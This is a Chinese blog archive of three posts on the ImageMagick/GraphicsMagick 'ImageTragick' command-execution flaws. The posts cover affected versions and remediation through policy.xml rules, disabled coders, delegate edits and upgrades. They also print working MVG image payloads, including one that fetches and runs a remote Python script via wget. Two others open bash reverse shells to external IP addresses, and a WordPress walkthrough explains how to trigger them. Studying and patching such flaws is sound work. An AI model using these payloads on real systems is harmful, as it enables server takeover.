标签归档:ImageMagick

wordpress利用ImageMagick漏洞命令执行

要求的最小权限是 Author。
用 Author 权限账号登陆,发表文章,插入 Media。
上传一个正常格式的文件
再上传 exp.png,内容为:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://www.fs1618.com/back.py -O /tmp/x.py && python /tmp/x.py 127.0.0.1 2345")'
pop graphic-context

测试直接反弹bash不成功。
然后插入到文章,编辑正常格式的图片。

123

选择编辑原始文件。随意操作一下,抓包发送到Repeater。

123

然后返回编辑exp.png,同样编辑原始文件。抓包。
获取到POST内容:action=image-editor&_ajax_nonce=e3d210bae8&postid=21&do=open
复制出来_ajax_nonce=e3d210bae8&postid=21替换到Repeater中的内容。发送Repeater。返回504,反弹成功。

123

ImageMagick/GraphicsMagick popen函数远程代码执行漏洞

漏洞描述:

ImageMagick和GraphicsMagick是广泛流行的图像处理软件。近日,ImageMagick再次被爆出存在远程代码执行漏洞,同时受影响的软件还包括GraphicsMagick。此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。

影响范围:
ImageMagick <= 7.0.1-6
GraphicsMagick <= 1.3.23
测试过程:
上传图片poc.png
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 ‘|bash -i >& /dev/tcp/49.213.15.229/2345 0>&1’
pop graphic-context
可直接反弹shell

解决方案:
1)修改配置文件
【CentOS6】
修改policy.xml,添加
<policy domain=”path” rights=”none” pattern=”|*”/>
【CentOS5】
在如下文件中:
/usr/lib64/ImageMagick-6.2.8/modules-Q16/coders/ (64bit package)
or
/usr/lib/ImageMagick-6.2.8/modules-Q16/coders/ (32bit package)

$ mv mvg.so mvg.so.bak
$ mv msl.so msl.so.bak
$ mv label.so label.so.bak
$ mv url.so url.so.bak

2)
编译过程中GraphicsMagick禁用HAVE_POPEN宏和ImageMagick禁用MAGICKCORE_HAVE_POPEN宏。
在配置文件中增加如下内容:
在源代码中增加如下项:
GraphicsMagick代码magick/blob.c中增加#undef HAVE_POPEN。
ImageMagick代码MagickCore/blob.c中增加#undef MAGICKCORE_HAVE_POPEN。

ImageMagick命令执行漏洞(CVE-2016–3714)

近日,ImageMagick官方披露一处高危命令执行漏洞,漏洞编号为CVE-2016-3714,Java、PHP 的库也受其影响,比如php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库,java有JMagick,python有PythonMagick、Wand 等拓展库。攻击者仅通过上传图片就可以获得服务器权限。

测试过程:

上传图片,内容为:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg”|bash -i >& /dev/tcp/106.187.4.9/2345 0>&1″)’
pop graphic-context

123

影响范围:
影响ImageMagick 6.9.3-9以前所有版本。

漏洞修复:
1)版本升级,目前不受影响版本为ImageMagick 7.0.1-1和6.9.3-10。

2)修改配置文件
【CentOS6】
如果不需要这些功能,可以通过配置policy.xml的方式来禁止https、mvg这些delegate。
查看配置文件位置:rpm -ql ImageMagick | grep policy.xml
<policymap>
<policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
<policy domain=”coder” rights=”none” pattern=”URL” />
<policy domain=”coder” rights=”none” pattern=”HTTPS” />
<policy domain=”coder” rights=”none” pattern=”MVG” />
<policy domain=”coder” rights=”none” pattern=”MSL” />
</policymap>
重启php-fpm
/etc/init.d/php-fpm restart
【Centos5】
通过yum升级最高版本为ImageMagick-6.2.8.0,这个版本是没有policy.xml文件的。
老外的文章:
https://access.redhat.com/security/vulnerabilities/2296071
https://www.imagemagick.org/discourse-server/viewtopic.php?f=2&t=29614&start=15
解决方案有两个:
1)
[root@AccBBSweb1 usr]# rpm -ql ImageMagick-6.2.8.0-15.el5_8 | grep delegates.xml
/usr/lib64/ImageMagick-6.2.8/config/delegates.xml
/usr/lib/ImageMagick-6.2.8/config/delegates.xml
找到<delegate decode=”https” command='”wget” -q -O “%o” “https:%M”‘ />
修改为:<delegate decode=”https” command=”/bin/false” />
/usr/local/php-fpm/sbin/php-fpm restart
2)
在如下文件中:
/usr/lib64/ImageMagick-6.2.8/modules-Q16/coders/ (64bit package)
or
/usr/lib/ImageMagick-6.2.8/modules-Q16/coders/ (32bit package)

$ mv mvg.so mvg.so.bak
$ mv msl.so msl.so.bak
$ mv label.so label.so.bak
$ mv url.so url.so.bak

3)处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。